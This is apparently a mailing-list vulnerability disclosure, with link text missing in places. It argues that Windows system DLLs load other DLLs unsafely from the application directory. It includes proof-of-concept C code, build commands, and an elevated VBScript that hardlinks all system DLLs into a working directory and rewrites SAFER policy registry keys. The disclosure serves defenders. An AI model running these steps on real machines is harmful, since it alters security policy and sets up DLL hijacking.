Hi @ll,
(published by some "Microsoft Security Response Center") as well as
MSDN ,
TechNet alias
MSKB ,
and
tell developers over
and over again how to load libraries safely.
But do Microsoft's developers care and follow suit?
NO, THEY DON'T: ignorance is bliss!
JFTR: CWE lists and
, while CAPEC
lists
Proof to demonstrate the vulnerability in a bunch of system DLLs
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
1. Save the following source as capec-471.c in an arbitrary, preferable
empty directory:
--- capec-471.c ---
// Copyleft (C) 2004-2021 Stefan Kanthak,
#include
__declspec(noreturn)
VOID WINAPI wWinMainCRTStartup(VOID)
{
HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE);
if (hr == S_OK)
hr = ShellExecuteW(NULL, NULL, L"..", NULL, NULL, SW_SHOWNORMAL);
CoUninitialize();
ExitProcess(hr);
}
--- EOF ---
NOTE: the 4 functions used reside in the "known DLLs" kernel32.dll,
ole32.dll and shell32.dll, the application and its (transitive
closure of) load-time dependencies can therefore assumed to be
safe.
2. Compile capec-471.c and link capec-471.exe in the native bitness of
the installed system:
CL.exe /Zl /W4 /Ox /GAFy /c capec-471.c
LINK.exe /ENTRY:wWinMainCRTStartup /NODEFAULTLIB /RELEASE /SUBSYSTEM:Windows capec-471.obj kernel32.lib ole32.lib
shell32.lib
Now examine the behaviour of the system DLLs loaded by this minimal
application.
Alternative A:
3.a Save the following VBScript as capec-471.vbs in the same directory:
--- capec-471.vbs ---
' Copyright (C) 2004-2021 Stefan Kanthak,
Option Explicit
Const strCommandLine = "C:\Windows\System32\Cmd.exe /D /K For %? In (*.acm *.ax *.cpl *.dll *.drv *.ocx WBEM\*.dll) Do
@MkLink /H
C:\Windows\Temp\%~nx? %?"
Const strCurrentDirectory = "C:\Windows\System32"
With GetObject("WinMgmts:{impersonationLevel=Impersonate, (Backup, Restore)}!\\.\Root\CIMv2")
Dim objProcessStartup
Set objProcessStartup = .Get("Win32_ProcessStartup").SpawnInstance_
With objProcessStartup
' .CreateFlags = 8 ' Detached_Process
' .EnvironmentVariables = Array(...)
.ErrorMode = 2 ' Fail_Critical_Errors
.FillAttribute = 240 ' Black on White
.PriorityClass = 32 ' Normal
.ShowWindow = 1 ' SW_NORMAL
.Title = vbNull
.WinstationDesktop = vbNull
' .X = 0
.XCountChars = 80
' .XSize = 640
' .Y = 240
.YCountChars = 50
' .YSize = 480
End With
Dim intReturn, intProcessID
intReturn = .Get("Win32_Process").Create(strCommandLine, strCurrentDirectory, objProcessStartup, intProcessID)
If intReturn <> 0 Then
WScript.Echo "Error " & intReturn
Else
WScript.Echo "Process " & intProcessID & " created"
End If
End With
Const strKey = "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\"
With WScript.CreateObject("WScript.Shell")
.RegWrite strKey & "AuthentiCodeEnabled", 0, "REG_DWORD"
.RegWrite strKey & "DefaultLevel", &H00040000, "REG_DWORD"
' .RegWrite strKey & "ExecutableTypes", vbNull, "REG_MULTI_SZ"
' .RegWrite strKey & "Levels", &H00071000, "REG_DWORD"
.RegWrite strKey & "LogFileName", "C:\Windows\System32\LogFiles\SAFER.log", "REG_SZ"
.RegWrite strKey & "PolicyScope", 0, "REG_DWORD"
.RegWrite strKey & "TransparentEnabled", 2, "REG_DWORD"
End With
--- EOF ---
4.a Run the VBScript capec-471.vbs elevated: it creates hardlinks of
all system DLLs in the current (working) directory where you built
capec-471.exe and configures SAFER to log loading of applications
and DLLs to "C:\Windows\System32\LogFiles\SAFER.log"
5.a Execute capec-471.exe, then run the following command lines to list
all DLLs loaded from the "application directory" respectively from
outside the "system directory" %SystemRoot%\System32:
.\capec-471.exe
FIND.exe /I "%CD%\" "C:\Windows\System32\LogFiles\SAFER.log"
FIND.exe /I /V "%SystemRoot%\System32\" "C:\Windows\System32\LogFiles\SAFER.log"
Alternative B:
3.b Fetch
and extract all files:
EXPAND.exe FORWARDX.CAB /F:* .
See for
build instructions and a makefile with embedded sources.
4.b Copy the 32-bit capec-471.exe into the just created subdirectory i386\,
and the 64-bit capec-471.exe into the just created subdirectory AMD64\,
then execute both and watch the dialog boxes displayed by the DLLs
loaded from outside the "system directory" %SystemRoot%\System32\
Alternative C:
3.c Start PROCMON.exe, set the filters as shown in MSKB article 2389418,
then execute capec-471.exe, and watch the failing attempts of way too
many system DLLs to load other system DLLs from outside the "system
directory" %SystemRoot%\System32\
JFTR: this demonstration shows (as usual) just the TINY TIP of the iceberg!
stay tuned, and far away from Microsofts vulnerable crap
Stefan Kanthak